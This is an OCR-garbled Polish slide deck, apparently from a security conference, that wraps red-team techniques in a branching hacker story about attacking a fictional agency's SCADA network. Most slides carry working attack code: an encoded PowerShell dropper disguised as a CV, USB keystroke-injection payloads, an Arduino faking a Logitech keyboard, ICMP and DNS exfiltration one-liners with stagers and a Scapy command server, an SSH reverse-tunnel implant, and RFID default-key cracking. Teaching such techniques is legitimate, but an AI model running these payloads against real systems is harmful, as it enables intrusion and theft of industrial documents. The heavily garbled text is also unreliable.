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Nowy poOcCZz.

<Ruda> Eki.pa sie spisatal Mamy wszystko!
B ... . A
<DarkSeeker> No cdz. Jednak warto czasem

poprosic 0 pomoc.

o~ T
<Ruda> Do wszystkiego trzeba dojrzec.
T Y s O

<Ruda> MAO juz sig z tego nie otrzasnie.
<Dark$eeker> Co dalegj?

=]

L \\\/‘

W

X

W SN S

-

pe -

TV

— y AV
- 5 J <Dark$eeker> Nie patrz tak na mnie. Jak chcesz,
e 1B B i
n ., 3 to sama sie w to baw.
> W [ e
i P L VIVEE R R . . <Ruda> Zasuadnesz chouaz w Nowej Radzie?
' AN

<Dark$eeker> Dzieki, posto;e Ale bede miat was

Lenka zostaty & '
e wie & na oku, siostrzyczko..
Rudgq, moze cos e i
‘ <Ruda> Licze na to.

was

B e

.t\'

<Ruda> wnat bedzie potrzebowat nowego lidera.

B<Ruda> Powmlenes odszyfrowac¢ moje pl|k|
T « T 3

<Dark$eeker> Niby dlaczego?
y o,

<Ruda> Bo gramy do jednej bramki.

<DarkSeeker> Nie sgdze. Chce tylko odzyskac

B o

J. Uwierz mi.

¥ . . -
/C? Oktamatas mnie.

. dzina. Nie mam

ciszku.. Wtasnie, ze l

K |

'R -y
; 4{],

Hie pod

aptm.in/darkseeker
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Miedzy szuman

<Ruda> Jest problem. I\/Iieazynarodowa Agencja Odbudowy nie upadta.
7SS
<DarkSeeker> Jak to mozliwe? Przeciez z Glitcherem i resztg ekipy upublicznilismy

wszystkie ich brudy. Sfatszowane wybory, eksperymenty na ludziach, nawet te

pieprzone podziemne serwerownie z dziecmi podpietymi do sieci.
<Ruda> To nie wystarczyto. Chociaz trzyma im sie to wszytko na sznurkach, to oni

wcigz rozdajg karty. | jest cos jeszcze..
R mmS—S—S—S————_— .S

|
:N

<DarkSeeker> I\/Ic')w.
B
<Ruda> Nie chca powtorkl Odpalajg operacje Czystka Wiedzy. Unieszkodliwienie

wszystkich technicznych, ktorzy nie przeszli na ich strone. Hakerzy. Admini.

Programisci. Ty. Ja. Wszyscy.
B :
<DarkSeeker> Wiedziatem, ze kiedys do tego dojdzie. Musimy znowu uderzyc Ale nie

bedzie to juz tylko sabotaz, nie tym razem.
N

<Ruda> Masz plan?
<DarkSeeker> Mam gniew.. Rozp***my ich. Do fundamentow. Apki, systemy,

firmware. Zaatakujemy im nawet chtodzenie w serwerowniach. Zrobimy z nich gruz.

L N IR S - 4
<Ruda> To bedzie jak Stuxnet.. ale na sterydach?
LT T il

<DarkSeeker> Nie.. To bed2|e koniec epoki.

R DT . T - _——T - AN . D AN

<Ruda> To od czego zaczynamy?
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Ocl: Gli’tCth’

MAO l:)osiacla 2 slect:

GRIDNET - zamknieta

MARPNET - sie¢ biurowa, w ktérf:jjuz’: bgliémg)

sieé sterownia maszgnami.

Dziwie sie, ze Big Bit |

GRIDNE Tu.
GRIDN

T nie ma sty

fal

bgé

Failure niczego ich nie nauczgjf . wszystlde

urzadzenia, maszyny, hale Produkcgjne maja wPic;te do

ku z MARPNETem, to zamknieta wyspa.

OPeratorzg na stacjach roboczgc‘q Prawie Ric e maja‘,jeclgng
soﬁ:gaki POJawia sie w doxach to MAO SCADA Link. To moze
lucz. Warto dowiedzieé sie o nim wic;cej. Oclezwij sie do Nexy.
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\‘ \ :

Nexa zaProPonowafa, 7 Pod Pretekstem rozmowy o
prace ngicrze sie doMAOQ iz ng@t’ngtaniem Penclrive -
wstrzgknie Pagloacl, |<tc’>r9 Poszuka na dgskach

sieciowgch clokumentacji MSL ija wgkradnie.

e Jesli Nexa ma ngé PowerShell + BadUsp (Rubber
Duckg) idziesz na

e Jesli Nexa bierze zwguego Pendri\/@ 7 Plikiem Nexa-
CurriculumVitae.Pcl?jsjako malware idziesz na 5|aJicl 1.

] g, =
...
e -~ 14
"-- ¢
f3 .
|
W
l.!
'n
l |
2




Nexa-Curriculum
Vitae.pdf

shell = new ActiveXObject("WScript.Shell");
shell.exec("powershell -w h —-enc
aQB3AHIAIABoAHQAdABWAHMAOgAVACB8AYQBWAHQAbQBJAC4AcABSACBAYwBhAGw
AYwBBAGKAZQB4AAQACgA=");



Od: Nexa
Skrypty j's maja zablokowane.

| tak 1 tak Przggotowa’fam Rubber Duckg) ale komputer na

recepcji nie rozPoznaJ( nowej k!awiatury. Jakag miel;
zablokowane. Ale mam Plan B. Z.auwaiyjfam, ze recepcjonistka

Pracuf'e na klawiaturze f__ogitecha, wezme jakieé Arduino i
zaimp ementujc; sgmulacjc; k!awiaturg DO swojemu, Przeclstawiejac

sic;jako Logitech i uclaja‘c WPisgwanie Klawi529 czfowiekiem .

Odezwe sie.




Rubber Du

v l 2 Y 4
CRHR'Y

-

-

<

I <« > C 25 github.com/hak5/usbrubberducky-payloads/blob/master/payloads/examples/Exfiltration/Exfiltration-examplel.txt

— O hak5 / usbrubberducky-payloads Q Type (/) to search 8 ~ + ®
(> Code () Issues " I Pullrequests 36 () Actions [f] Projects U) Security |~/ Insights
(]l Files usbrubberducky-payloads [ payloads [/ examples / Exfiltration / Exfiltration-example1.txt -
¥ master - [ FHQ * dallaswinger fix quotes 01a'e87 - 3years ago Y History
Q Go to file L
Code | Blame 13 lines (11 loc) - 814 Bytes &8 RrRw 0 & 2 ~ 9
> BB .github —
> @@ languages 1 REM Example Simple USB Exfiltration Technique for Windows
P ATTACKMODE HID STORACE
~ [ payloads 3 DELAY 2000
4 GUI r
v @@ examples ; v
v [ ATTACKMODE 6 STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DrivelLetter;netsh wlan show profile name=(Get-NetConrectionProfile).Name xey=clear|?{$_-
7 ENTER
[} ATTACKMODE-example1.txt g
[ ATTACKMODE-example2.txt 9
10 REM This short Powershell one-liner executes from the Windows Run dialog.
> [ Button 11 REM The drive letter of the volume with the label “DUCKY" is saved as $m.
> @B Conditions 12 RFM The netsh command will get the natwork name and passphrase for the currently connectec network ((Get-NetConnectionProfile).Name).
13 REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the “DUCKY"” drive, saved :

v [ Example_Paylcads
[ konami_cave txt
[ payload_menu.txt

v | Exfiltration

. l [9 Exfiltration-example1.txt

[9 Exfiltration-example2.txt
[ Exfiltration-example3.txt
[ Exfiltration-example4.txt

> B Functions

> B Holding Keys

q;'

b

4

»

//qithub.com/hak5/

UusS
7

rubbérducky-payloads


https://github.com/hak5/usbrubberducky-payloads

1. |
!

Nexa, Rubbef

'"— “_"- m. p d“

Od: Nexa

Recel:)cjonistka w’“oz’:g’fa mojego Rubber Ducng ale komputer nie
rozl:)ozna)f nowej Klawiaturg. Jakbg mieli zablokowane. Ale mam

sSlan B Zauwazyfam, ze recepcjonistka Pracuje na klawiaturze
f_ogitecl’la) wezme jakieé Arduino i zaimp ementujc; sgmu!acjcz

Klawiatur9 po swojemu) Przeclstawiajac sie 1ako Logitech i uclajac
%
WPisgwanie kawiszg cztowiekiem. Musze t9||<o nggélié kana@

inﬁltracji | eks‘%ltracji.

Odezwe sie.




Zdobyc ir ru_ _

W IZ)lf:l”Z SPOSO,D Pobrama Pagloaclu ClO szukama clokumentacy

! eksﬁltracy clangch

e Pobranie ICMP, eksﬁltracja ICMP

e Pobranie DNS, eksﬁltracja DNS

e Pobranie ICMP cksﬁltracja DNS

e Pobranie DNS, eksﬁltracja ICMP




Wyszukin

: ‘ » 3‘ _L « J

Wﬂéwietlenie zmapowangch clgskéw

Get-PSDrive —-PSProvider FileSystem
Wgszukanie na dgskaclﬁ Plikéw sl:)e’f niaja‘cgch krgteria

Get-PSDrive -PSProvider FileSystem | % { gci -ea 0 -r "$($_.name):"
—filter 'sscadax.pdf' } | Select-Object —-ExpandProperty FullName




Eksfiltracja

Eksﬁltracja P|i|<u ICMP

(gc —raw plik.pdf) —-split "(?s)(.{1472})" —-match "."|%
{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100,
([Text.Encodingl::UTF8).GetBytes($_))}

Eksﬁltracja P|i|<u DNS

o)
G

(-join ((gc -raw plik.pdf).ToCharArray() |%{"{0:X2}"-f[int]$_}) -split
"(.{64})" -match "." -replace "([\wl116})", " $1.").trim('.")|
{ Resolve-DNSName "$ .$(($i++)).alphasec.pl"}

: "\ ~ -y |
) IM :
IAl" i


http://alphasec.pl

Ekai;tfong

Eksmtracja Plikéw ICMP

Get-PSDrive —-PSProvider FileSystem | % { gci -ea 0 —r "$($_.name):"
~filter "xscadax.pdf" } | % 1 (gc -raw $_.FullName) -split "(?s)(.
11472})" -match "."|%

{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100,
([Text.Encoding]::UTF8).GetBytes($ ))} }

Eksmtracja Plikéw DNS

Get-PSDrive —-PSProvider FileSystem | % { gci —-ea @0 -r "$($_.name):"
—filter "xscadax.pdf" } | % 1 (-join ((gc —-raw
$_.FullName).ToCharArray() |%{"{0:X2}"-f[int]l$_}) —split "(.{64})"
-match "." -replace "([\w]l{16})", " $1.").trim(".") |%{ Resolve-
DNSName "$_.$(($i++)).alphasec.pl"} }




Python icmp

#! /usr/bin/env python3
# sysctl net.ipv4.1icmp_echo_ignore_all=1

from scapy.all import = ——
payloads = {

b'"scadaicmp": b'Get-PSDrive -PSProvider FileSystem | % { gci -ea @0 —-r "$($_.name):" —filter "skscadax.pdf" } | % 1
(gc —raw $_.FullName) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl",
100, ([Text.Encoding]::UTF8).GetBytes($_))} }',

b'"scadadns": b'Get-PSDrive —-PSProvider FileSystem | % { gci -ea @ -r "$($_.name):" —-filter "xscadax.pdf" } | %
{ (-join ((gc -raw $_.FullName).ToCharArray() [%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})",
"T$1.").trim(".") |%{ Resolve-DNSName "$_.$(($i++)).alphasec.pl"} }'

} -
‘ ! .
def handle_ping(pkt): 7 |
if (pkt.haslayer(ICMP) and pkt[2].type == 8): ,
try: l ;
dst = pktl[1l].dst
src = pkt[1l].src | .
seq = pkt[2].seq

id = pkt[2].id
payload = pkt[3].load

response = payloads.get(payload, payload)
print ("payload from %s: %s, response: %s" % (src, payload, response))

reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seg=seq)/(response)
send(reply,verbose=False)

except:
pass

if __name_== " main__ ":
iface = "eth0"
filter = "icmp and icmp[0]=8"
sniff(iface=iface, prn=handle_ping, filter=filter)




DNS paylo:

RwB LAHQALQBQAFMARABYAGkAdgB LACAALQBQAFMAUABYAGSAdgBPAGQAZQBYACAARGBPAGWAZQBTAHKACWBOAGUADQAGAHWAIAA LACA \
AewAgAGCcAYwBpACAALQBLAGEATAAWACAALQBYACAAIgAKACGAIABTAC4AbgBhAGOAZQAPADOAIgAGACOAZGBPAGWAJABLAHIAIAAIAC :
0AcwBjAGEAZABhACOALGBWAGQAZgAiACAATQAgAHWAIAA LACAAewAgACGAZWB ] ACAALQBYAGEAdWAGACQAXWAUAEYAJQBSAGWATgBhA

GOAZQAPACAALQBZAHAADABPAHQATIAAiACgAPWBZACKAKAAUAHSAMQAGAD cAMgBIACKAIgAgACOALQBhAHQAYWBOACAATIGAUACIATAAL |
AHsAIABDAE4AZQBOACAATgB LAHQAdwBVAHIAawBIAGAAZgBVAHIAbQBhAHQAAQBVAGAALgBQAGKAbgBNAF@AOgAGAGAAZQB3ACGAKQA L
UAFMAZQBUAGQAKAA i AGEADABWAGQAYQBZAGUAYwWAUAHAADAA 1 ACWAIAAXADAAMAASACAAKABDAFQAZQB4AHQALGBFAGAAYWBVAGQAAQ |
BUAGCAXQABGADOAVQBUAEYAOAAPAC4ARWB LAHQAQgB5AHQAZQBZACGAJABTFACKAKQBIACAATQA= |

scada.
scada.
scada.
scada.
scada.
scada.
scada.
scada.
scada.

icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp

IN
IN
IN
IN
IN
IN
IN
IN
IN

TXT
TXT
TXT
TXT
TXT
TXT
TXT
Tl
TXT

II1
II2

II9

. RwB1AHQALQBQAFMARABYAGKAdgB LACAALQBQAFMAUABYAGSAdgBPAGQAZQBYACAA™
. RgBpAGWAZQBTAHKAcwBOAGUAbQAGAHWATAATACAAewAgAGCAYWBPACAALQBTAGEA™
II3.
I
II5.
II6.
II7.
g

TAAWACAALQBYACAAIgAKACgAJABTAC4AbgBhAGOAZQAPADOATIgAgACOAZgBpAGWA™
dABLAHIAIAA1ACoAcwBjJAGEAZABhACOALgBWAGQAZgA1ACAATQAgAHWAIAALACAA™
ewAgACAAKABNnAGMATAATAHIAYQB3ACAAJABTAC4ARgB1AGWAbABOAGEADQB LACKA™
TAAtAHMAcABSAGKAJAAgACIAKAA/AHMAKQA0AC4AewAxADQANwWAYAHOAKQA1ACAA™
LQBtAGEAdABJAGgAIAA1AC4AIgBS8ACUAewAgAFsATgBLAHQALgBOAGUAJAB3AGSA™
cgBrAEKAbgBmAG8AcgBtAGEAJABpAGB8AbgAUAFAAaQBUAGCAXQAB6ADoAbgB LAHCA™
KAApAC4AUwB LAG4AZAAOACIAYQBWAHQABQAUAGKAbgA1ACWATIAAXADAAMAASACAA™

scada.icmp IN TXT "10.KABbAFQAZQB4AHQALgBFAG4AYwBVAGQAaQBuUAGCAXQAGADOAVQBUAEYAOAApPAC4A™ b
scada.icmp IN TXT "11.RwBlAHQAQgB5AHQAZQOBzACgAJABTACKAKQBOACAATQA="

scada.dns IN TXT "1.RwBlAHQALQBQAFMARABYAGkAdgBLACAALQBQAFMAUABYAGBAdgBpAGQAZQBYyACAA™
scada.dns IN TXT "2.RgBpAGwAZQBTAHkAcwBOAGUAbQAgAHWATIAATLACAAewAgAGCAYwBpACAALQBLAGEA"
scada.dns IN TXT "3.IAAwACAALQBYACAAIgAKACgAJABTAC4AbgBhAGOAZQApPADOAIgAgACOAZgBpAGwWA™
scada.dns IN TXT "4.dABLAHIAIAA1ACoAcwBjAGEAZABhACOALgBWAGQAZgAiACAATQAgAHWATIAALACAA™
scada.dns IN TXT "5.ewAgACgALQBgAG8AaQBUACAAKAAOAGCAYWAgQACOAcgBhAHCAIAAKAFS8ALgBGAHUA™
scada.dns IN TXT "6.bABsSAE4AYQBtAGUAKQAUAFQAbwBDAGgAYQBYAEEAcgBYyAGEAeQAOACKATAALAHSA™
scada.dns IN TXT "7.IgB7ADAAOgBYADIATQA1ACOAZgBbAGKkAbgBOAFOAJABTAHOAKQAgACOACWBWAGWA™
scada.dns IN TXT "8.aQBOACAAIgA0AC4AewA2ADQATQAPACIAIAAtAGOAYQBOAGMAaAAgACIALgA1ACAA™
scada.dns IN TXT "9.LQByAGUAcCABSAGEAYwBLACAAIgAoOAFSAXAB3AFOAewAxADYATQApACIALAAgACIA™
scada.dns IN TXT "10.YAAKADEALgA1ACkALgBOAHIAaQBtACgAIgAuACIAKQBS8ACUAewAgAFIAZQOBzAGSA™
scada.dns IN TXT "11.bAB2AGUALQBEAE4AUwBOAGEAbQBLACAAIgAKAFBALgAKACgAKAAKAGKAKWArACKA™
scada.dns IN TXT "12.KQAuAGEAcCABOAGOALgBpAG4ALgBWAGWAIgBOACAATQA="

< ;-'--..' . e N % w - v ; "-'?:S‘:“V’f_ _’:“ 5
v B ——— ‘-’\d Yy . . 2 / oy ,_3} / /- - -
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Splitere

#!/bin/bash

if [ -z"s¢1" ] || [ -z "$2'"" }; then
echo "Uzycie: $0 <string> <maksymalna dlugosc>"
exit 1

fi

input_string="$1" I
chunk_size="$2" i

echo "$input_string" | fold —w "$chunk_size"™ | nl -wl -s"."

drge~/confi25» ./chunks.sh

Uzycie: ./chunks.sh <string> <maksymalna dlugosc>

drge~/confi25» ./chunks.sh "123456789123456782345678wertyudfghxcvb" 10
1.1234567891

2.2345678234

3.5678wertyu

4 .dfghxcvb

drge~/confi25» |




Stagery

ICMP in, DNS out
—join [charll]([Net.NetworkInformation.Ping]::new().Send("kali.aptmc.pl", é
100, [Text.Encoding]::UTF8.GetBytes('"scadadns")).Buffer) |iex r

ICMP in, ICMP out

—join [charll]([Net.NetworkInformation.Ping]::new().Send("kali.aptmc.pl",
100, [Text.Encoding]::UTF8.GetBytes("scadaicmp")).Buffer) |iex

DNS in, DNS out

[Text.Encoding] ::UTF8.GetString( [Convert]::FromBase64String((((Resolve-
DnsName -Type TXT scada.dns.aptmc.pl).Strings | Sort-Object { ($_ -split
'\."')[0] -as [intl} ) -replace '“\d+\.',"'') —-join ''))

DNS in, ICMP out

[Text.Encoding]l: :UTF8.GetString( [Convert]::FromBase64String((((Resolve-
DnsName -Type TXT scada.icmp.aptmc.pl).Strings | Sort-Object { ($_ -split
'\."')[0] —as [int]l} ) -replace '~\d+\.','') -join '')) {




Arduino

#include "Keyboard.h"

void typeKeys(const char*x keys, int delayTimeMin = 100, int delayTimeMax = 500){
while (xkeys) {
Keyboard.write(*xkeys++);
delay(random(delayTimeMin, delayTimeMax));

}
} 'Y X | vim ./packages/arduino/hardware/avr/1.8.6/boards.txt
void setup() { micro.build.mcu=atmega32u4

Keyboard.begin(); micro.build.f cpu=16000000L

delay(2000) ; micro.build.vid=0x046d
b micro.build.pid=0xc31c

, micro.build.usb_product="Arduino Logitech”

void loop() { micro.build.board=AVR MICRO

Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r'

Y. micro.build.core=arduino
Keyboard. releaseAll();

micro.build.variant=micro
micro.build.extra_ flags={build.usb_flags}

delay(200);
typeKeys("powershell -w h —c \"iwr aptmc.pl/calc|iex\"");

Keyboard.write(KEY_RETURN) ;

while (true) { i o
delay(1000);
}

aptm.in/protip/003c

. »—_t"- ’-f- . = x .’- - - - o> » B ~_—


https://aptm.in/protip/003c#more

Od: Nexa

Znalaztam | wgeksﬁltrowa’fam clokumentacjf; do MAO SCADA
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https://www.cryptomuseum:eom/burst/hsg/index.htm


https://www.cryptomuseum.com/burst/hsg/index.htm
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Bardzo KrotKiEemadawanues

Eed

2% zaufanatrzeciastrona.pl/post/sukcesy-polskiego-kontrwywiadu-w-podsluchiwaniu-stacji-numerycznych/

Sukcesy polskiego kontrwywiadu w podstuchiwaniu stacji numerycznych

Polskie stuzby miaty spory problem nie tylko z namierzaniem, ale nawet z
wykrywaniem tych transmisji. O ile w roku 1973 zarejestrowaty ich okoto setki, rok
pozniej 66, a juz w roku 1977 udato im sie uchwycic ich jedynie 5. Transmisje te zwane
byty w zargonie stuzb BKN, czyli Bardzo Krotkie Nadawanie. Przyktadem problemow z
namierzaniem zrodta sygnatu moze by¢ przypadek z 17 pazdziernika 1966, kiedy to o
godzinie 21:08 wykryto transmisje BKN z okolic Szczecina. Mimo, iz trwata ona az 24
sekundy (a wiec byta nadzwyczaj dtuga jak na ten rodzaj komunikacji) a po kolejnych
4 minutach nastapita druga transmisja, ktora trwata 17 sekund i zostata
przechwycona przez az 5 stacji namierzajacych, to nie udato sie jednoznacznie
ustali¢ lokalizacji nadajnika. Wytypowano jedynie obszar znajdujacy sie na terenie
Zalewu Szczecinskiego dochodzac do wniosku, ze transmisja miata miejsce z
jednostki ptywajace,;.

Podobna historie opisuje w swojej ksigzce ,Czwarty protokot” Frederick Forsyth (thx
tolep):

é To, co komputer wykryt w zargonie GKLR [Gtowna Kwatera tgcznosci

Rzgdowej, GCHQ - przyp. redakcji] nazywano ,kropkq” - krotki,
parosekundowy dzwiek, ktory nie jest odbierany przez ludzkie ucho.
.Kropka” jest koncowym produktem bardzo pracochtonnego
postepowania przy przesytaniu tajnych wiadomosci. Najpierw
wiadomosc zapisuje sie ,clarisem” czyli zwyktym jezykiem i to tak
zwiezle, jak tylko mozliwe. Nastepnie sie jq szyfruje, ale nadal ma ona
forme tancuszka liter lub cyfr. Zakodowana informacja jest nastepnie
wystukiwana kluczem telegraficznym, ale nie do nadajnika, lecz do
dziurkacza tasmy. Takq tasme przewija sie potem z maksymalng
szybkosciq, aby wchodzqce w sktad depeszy kropki i kreski zostaty
.Zgniecione” do jednego pisniecia, trwajgcego zaledwie pare sekund.
Gdy nadajnik zostaje uruchomiony, operator przesyta tylko ten jeden

pisk, nastepnie spakowuje aparature i szybko przenosi sie gdzies indzie;j. 9

¥/
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X w0 Crupto Museum

ryptomus2um.com

Burst encoders
High-speed data encoders

During WWII and also during the Cold War, secret agents operating on enemy territory commonly
used clandestine transmitters to send messages to the spy centre in their home country, via the
short-wave radio bands (SW or HF), using morse code. As the enemy was continuously trying to

intercept such messages and determine the location of the rogue transmitter by means of Radio

Direction Finding (RDF), it was necessary to be on-the-air as little and as short as possible. This

was also necessary to make effective use of the limited frequency spectrum that was available.

Qver the years, different systems were developed

to reduce the length of a message. One method

that was commonly used, was to replace long

sentences and frequently-used expressions by a

predetermined code. Examples of such short

messages are the international Q-codes and the
se of various military and civil code books.

As the Cold War progressed, the need to send
more and longer messages gradually increased
and new methods had to be devised to avoid
detection. This resulted in the development of
high-speed morse keyers and Burst Encoders.

A Burst Encoder is a device that allows messages to be stored on a recording medium first. The
pre-recorded message is then sent over the air at very high speed using a high-speed keyer. A
wide range of solutions was developed for this, using a variety of media, such as paper, audio
tape, metal tape, mechanical drums, rods, photographic film and finally electronic memory chips.

Messages that are sent this way often sound like a short tone or burst, which is why it is called a
Burst Transmission. This part of the website describes a number of solutions that were developec
for hicgh-speed burst transmission of messages. Use the buttons on the left, check the index of
burst encoders, or click any of the thumbnails below for more information on a particular device.

I
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https://alphasec.pl/omh25/bkn.wav
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Kontakt

<DarkSeekér> Wybrates strone?

T ——

<Archiwista> Nie wiesz do czego s zdolni. Sam fakt, ze z Tobg rozmawiam jest dla
mnie Smiertelnym zagrozeniem.

D Y G

<DarkSeeker> Wiekszym zagrozeniem jest pozostanie w MAO. Zapewne wiesz 0
operacji Czystka Wiedzy. Poszliscie o krok za daleko. Pycha kroczy przed upadkiem.

T

<Archiwista> Odradzatem to. Ale to juz nieistotne. Mozemy sobie pomoc.

=" UNLLUULLLUCCeeess,.

<DarkSeeker> Co masz na mysli?

L\ NS I T T, F
<Archiwista> Dam Ci cos, co wyrowna szanse.
R N - HEEETAA4882@ @ s 4

<DarkSeeker> Jak domyslam sie, nie za darmo?

D\

<Archiwista> Jesli faktycznie uda Wam sie potozy¢ MAO, chce funkqe doradcy nowej
rady. Znam wiekszos¢ tajemnic MAO. Wszyscy na tym skorzystamy.

<DarkSeeker> Po tym co MAO zrobito dla $wiata, po wyzwoleniu kazdy kto z nimi

trzymat zostanie innczowany
<Archiwista> To moj drugl warunek. Dacie mi nowg tozsamosc.
T THIENT . UTTRE— £ R &

<DarkSeeker> Prze myslimy to.




Czy zaufac

o Jesli zgaclzasz sie Na Propozgcjc; Archiwisty, idziesz na

o Jesli SPUSZCZasZ Archiwiste na |

DAl

faus) idziesz na 5|aJicl y




Glitcher oraz Iron Root ngaénili Ci, Ze wic;cej zgskaszjeéli Archiwista okaze
sie st owny niz straciszjeéli okaze sie inaczej :

o Jesli zgadzasz sie Na Propozgcje; Archiwistg, idziesz na

o Jesli zgaclzasz sie Na PFOPOZngé; Archiwistg) Jeclnak Poclajac mu dfon
patrzysz na niego z nieutnoscia, idziesz na slajicﬂ 2.8.
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M5STACK
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BUTTON

GO

MICRD
G44 BYUTTON SD
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ESP32
120mAnN e

INSIDE

4x14 KEYBOARD

KEYBOARD  1.14"LCD@ST7789V2
Ve PDM-MIC@SPM1423
oz o 12S-SPEAKER@NS4148
BATTERY@120mAh+1400mAh




M5Cardputer®

. M5Burner - v202505131300
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M5Launcher Cardputer 248

M5SLauncher for Cardputer. With this app you can turn your device into a swiss knife, loading any .bin you have on your SD Card or
wirclessly downloading frcm MEBuUrner repo or from your computerjsmartprone threugh its WebU!.

Tutorial: https:ffyoutu.befodIHWZ(03sh|

Suppart me: https://buymeacaffee.com/bmorcelliz

Wiki: https://githud.comybmorcelifMSStick-Launcher/w k JObtaining-b naries-to-launch

bmorcell
Published AL 2025-N5-28

s

L g N Wt
~ S Download
L, 32212 D70 O Githid ¥ Download
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Bruce for Cardputer

HUGE UPDATE v1.10.1 [ VISIT https://bruce.computer

CHECK OUR GITHUB! supporting CC1101 and NRF24

https://github.com/pr3y/Bruce/

WIFi - BLE - RFID - RF - GPS - FM - NRF24 - Connect - Others

##3# Our wiki: https:j/github.com/pr3y/brucewixi ### Discord: https:{/discord.gg/\WJ8XF3czVT

vinel
Pubhshed At: 2024 02 02

\'Ll 25775 A:-J 81 O Github

NEMO For Cardputer 2.7.0-en_us
Firmware for high-tech pranks

* TV B-Gone - shut off Vs, projectors and other devices

* WiFi Spam - Funny SSIDs, Random SSIDs, and of course Rickroll WiFi

* WiFi Scanning - List nearby SSIDs and get information about them

* NEMO-Pcortal - Wifi Captive pcrtal and password grabber (PT_BR version has Portuguese language portal;

4x0nn
Published At. 2024-05-20

a

¥ Download

& 18594 (1268 () Github
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#include <M5Stack.h>
#include "MFRC522 I2C.h"
MFRC522 mfrc522(0x28):;

void setup()

'mfrc522.PICC_ReadCardSerial()) {

uidByte[i] < @Ox10 ? " 0" : " ");

HEX) ;

{
M5.begin();
M5.Power.begin();
M5.lcd.setTextSize(2);
M5.Lcd.println("MFRC522 I2C Reader");
Wire.begin();
mfrc522.PCD_Init();
M5.Lcd.println("Please put the card\n\nUID:");
I3
void loop()
{
M5.Lcd.setCursor(40, 47);
if (!mfrc522.PICC_IsNewCardPresent() ||
delay(200);
return;
I3
M5.Lcd.fillRect (42, 47, 320, 20, BLACK):;
for (byte 1 = 0; i < mfrcb522.uid.size; i++) {
M5.Lcd.print(mfrc522.uid.
M5.Lcd.print(mfrc522.uid.uidBytel[il,
s
M5.Lcd.printin("");
I3
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|. (N N ® rfid_default_keys | Arduino IDE 2.3.6

Q e @ ¢ MS5Cardputer . N o=

rfid_default_keys.ino

e

30 #include <SPI.h> TE
31 #include <MFR(C522.h>
32
33 #define RST_PIN 3 // Confiqurable, see typical pin layout above
34 #define 5S_PIN 10 // Configurable, see typical pin layout above
35
36 MFRC522 mfrc522(SS_PIN, RST_PIN); // Create MFR(C522 instance.
37
38 // Number of known default keys (hard-coded)
39 // NOTE: Synchronize the NR_KNOWN_KEYS dafine with the defaultKeys([] array
40 #detine NR_KNOWN_KEYS B
41 // Known keys, secc: https://code.google.com/p/mfcuk/wiki/MifareClassicDefaultKeys
42 byte knownKeys[NR KNOWN KEYS] [MFRC522::MF KEY SIZE] = {
43 {oxff, oxff, exff, oxff, oxff, Oxff}, // FF FF FF FF FF FF = factory default
44 {0xad, O6xal, @xa2, @Oxa3, 0xad, Oxa5}, // A0 Al A2 A3 A4 A5
45 {oxbd, O0xbi, exb2, Oxb3, ©xb4, Oxb5}, // Bé B1 B2 B3 B4 BS
46 {Ax44, 0x3a, 0x99, @xc3, Ax51, Oxdd}, // 4b 32 99 3 51 DD
47 {0x1a, 0x98, @x2c, Ox7e, 0x45, 0x9a}, // 1A 9& 2C 7E 45 9A
48 {0xd3, oxf7, @xd3, oxf7, @xd3, Oxf7}, // D3 F7 D3 F7 D3 F7
49 {oxaa, oOxbb, éxcc, Oxdd, ©@xee, Oxrr}, // AA BE CC DD EE FF
50 {0x02, 0x00, ©€x00, Ox00, 0x00, Ox00} // 00 0C 00 00 00 00 a
51 };
52
53 /*
54 » Initialize.
55 */
56  void setup() {
57 Serial.begin(€600); // Initialize serial communications with the PC
58 while (!Serial); // Do nothing :f ro serial port is opened (added for Arduinos based cn ATMEGA32U4)
59 SPI.oegin(]}; // Init SPI bus
60 mfrc522.PCD Irit(); // Init MFRC522 card
61 Serial.println(F("Try the nost used default keys to print block @ of a MIFARE PICC."));
62 }
63 .
64 e
) * Helper routine to dump a byte array as hex values to Serial.
66 */
67 void dumo_byte_array(byte *buffer, byte bufferSize) {
68 for (byte 1 = 8; i < bufferSize; i++) {
69 Serial.print(bufferlil < 6x10 ? " @" : " ");
70 Serial.print(buffer[i], HEX);
71 }
72 }
73
74 /%
{ indaxina: 27/56 Ln1 Col1 M5Cardputer on /dev/cu.usbmodem2101 [
~ / AT : - — . =

% B oy, y ) . A - F



Co wlozycC #

Archiwista POCH aczy Twoje urzadzenie do MARPNEtu.

o Jesl; clajesz mu Access Foint, ktérg o Jesl, clajesz minikomputer z Linuxem,
jako WAN bedzie miaf MARPNET, co ktérgm zestawi tunel do Twojcgo
PO Po’faczeniu przez Wil Pozwoli C hosta, umoZliwiEﬂ'a‘cg Po’faczenie SSH,

Wéjéé do ich sieci, idziesz na . idziesz na slajicl 36.




Co wiozycC

Okazato sie, ze wclroZgli 802.1X Przecl zakonczeniem wakacji. To Pewnie te
naclgorliwe #Sb#eD studentg Nna Praktykach. Wracasz na Po!:)rzedni slajicl.




@ #!/bin/bash

# echo '/usr/local/bin/ssh tunnel.sh &' >> /etc/rc. local

REMOTE_USER="darkseeker"
REMOTE_HOST="tawerna. freeworld.org"
REMOTE_PORT=2222

| OCAL_PORT=22
PRIVATE_KEY="/home/darkseeker/.ssh/id_rsa"
_0G_FILE="/var/log/ssh_tunnel. Log"

while true; do
date=$(date '+%Y-%m—%d %H:%M:%S")
echo "$date - Préba ustanowienia tunelu SSH..." =>> "$LOG_FILE"

ssh —i "$PRIVATE_KEY" -N —-R ${REMOTE_PORT}: localhost:${LOCAL_PORT} ${REMOTE_USER}@${REMOTE_HOST}

EXIT _CODE=%$7
date=$(date '+%Y—-%m—%d %H:%M:%S")
echo "$date - Potgczenie zakonczone lub nieudane (exit code: $EXIT_CODE)" =>> "$LOG_FILE"

sleep 1
done

https://aptm.in/protip/0023



https://aptm.in/protip/0023

MIEOZYNAROCDOWA
AGENCJA ODBUDOWY

Wprowadz swoj indywidualny, szeSciocyfrowy PIN

Wejdz



http://printer-103.marpnet:8000

Atak brute

- -
P
dnami
 — { b '

/ z@bg SPrawolz:c czy mozna zrobi¢ brute torce na piny

